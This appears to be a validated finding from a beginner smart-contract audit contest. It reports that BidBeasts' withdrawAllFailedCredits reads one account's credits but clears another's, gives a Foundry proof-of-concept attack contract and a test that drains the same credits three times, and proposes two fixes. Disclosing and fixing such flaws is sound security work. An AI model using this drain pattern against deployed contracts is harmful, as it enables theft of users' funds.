Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Credit Theft and Re-exploitation via withdrawAllFailedCredits

Critical Logic Errors in withdrawAllFailedCredits Enable Infinite Credit Theft

Description

  • The normal behavior should be that when a user withdraws their failed transfer credits, their own credit balance should be cleared to prevent double withdrawal.

  • The current implementation incorrectly clears msg.sender's credits while withdrawing credits belonging to _receiver, allowing attackers to drain contract balance.

function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver]; // Read _receiver's credits
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // Clear msg.sender's credits, not _receiver's
@> (bool success,) = payable(msg.sender).call{value: amount}(""); // Send to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • Any user can call this function with any victim's address as _receiver

  • The victim's credits are never cleared, allowing unlimited re-exploitation

Impact: High

  • Contract drainage: Attackers can drain entire contract balance if sufficient failed credits exist

  • Permanent victim loss: Legitimate users lose their refunds with no recovery mechanism

Proof of Concept

The PoC demonstrates how an attacker can infinitely drain the same victim's failed transfer credits because the victim's balance is never cleared, allowing unlimited re-exploitation.

Add the below import to BidBeastsMarketPlaceTest.t.sol:

import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

Add AttackContract contract in BidBeastsMarketPlaceTest.t.sol:

contract AttackContract is IERC721Receiver {
BidBeastsNFTMarket market;
BidBeasts nft;
constructor(address marketAddress, address nftAddress) {
market = BidBeastsNFTMarket(marketAddress);
nft = BidBeasts(nftAddress);
}
function listNFTOnMarketplace(uint256 tokenId, uint256 minPrice, uint256 buyNowPrice) external {
nft.approve(address(market), tokenId);
market.listNFT(tokenId, minPrice, buyNowPrice);
}
function withdrawFailedCredits() external {
market.withdrawAllFailedCredits(address(this));
}
// Implement IERC721Receiver to accept NFTs
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
// Intentionally has no payable receive or fallback to reject Ether
}

Change

Add the test below to the BidBeastsMarketPlaceTest.t.sol:

function testDrainContractUsingFailedCredits() public {
// Attacker setup
address ATTACKER = makeAddr("Attacker");
AttackContract atkContract = new AttackContract(address(market), address(nft));
vm.deal(address(market), 100 ether);
vm.prank(OWNER);
nft.mint(address(atkContract));
atkContract.listNFTOnMarketplace(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
uint256 BID_AMOUNT = BUY_NOW_PRICE + 1;
vm.prank(BIDDER_1);
market.placeBid{value: BID_AMOUNT}(TOKEN_ID);
// Seller (atkContract) has failed credits because it can't receive ETH
uint256 failedCredits = market.failedTransferCredits(address(atkContract));
assertTrue(failedCredits > 0, "Seller should have failed credits");
// Attacker drains the same credits multiple times
uint256 attackerInitialBalance = ATTACKER.balance;
vm.startPrank(ATTACKER);
market.withdrawAllFailedCredits(address(atkContract)); // First theft
market.withdrawAllFailedCredits(address(atkContract)); // Second theft
market.withdrawAllFailedCredits(address(atkContract)); // Third theft
vm.stopPrank();
uint256 attackerFinalBalance = ATTACKER.balance;
uint256 stolenAmount = attackerFinalBalance - attackerInitialBalance;
// Verify multiple thefts occurred (attacker got 3x the original credits)
assertEq(stolenAmount, failedCredits * 3, "Attacker should have stolen credits 3 times");
// Victim's credits remain unchanged - enabling infinite exploitation
assertEq(market.failedTransferCredits(address(atkContract)), failedCredits, "Victim credits never cleared");
}

Run the test with:

forge test --match-test testDrainContractUsingFailedCredits -vvv

Recommended Mitigation

There are two valid approaches to fix this vulnerability:

Option 1: Remove the _receiver parameter (Simplest)

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Option 2: Allow withdrawal to different address but fix the logic

function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.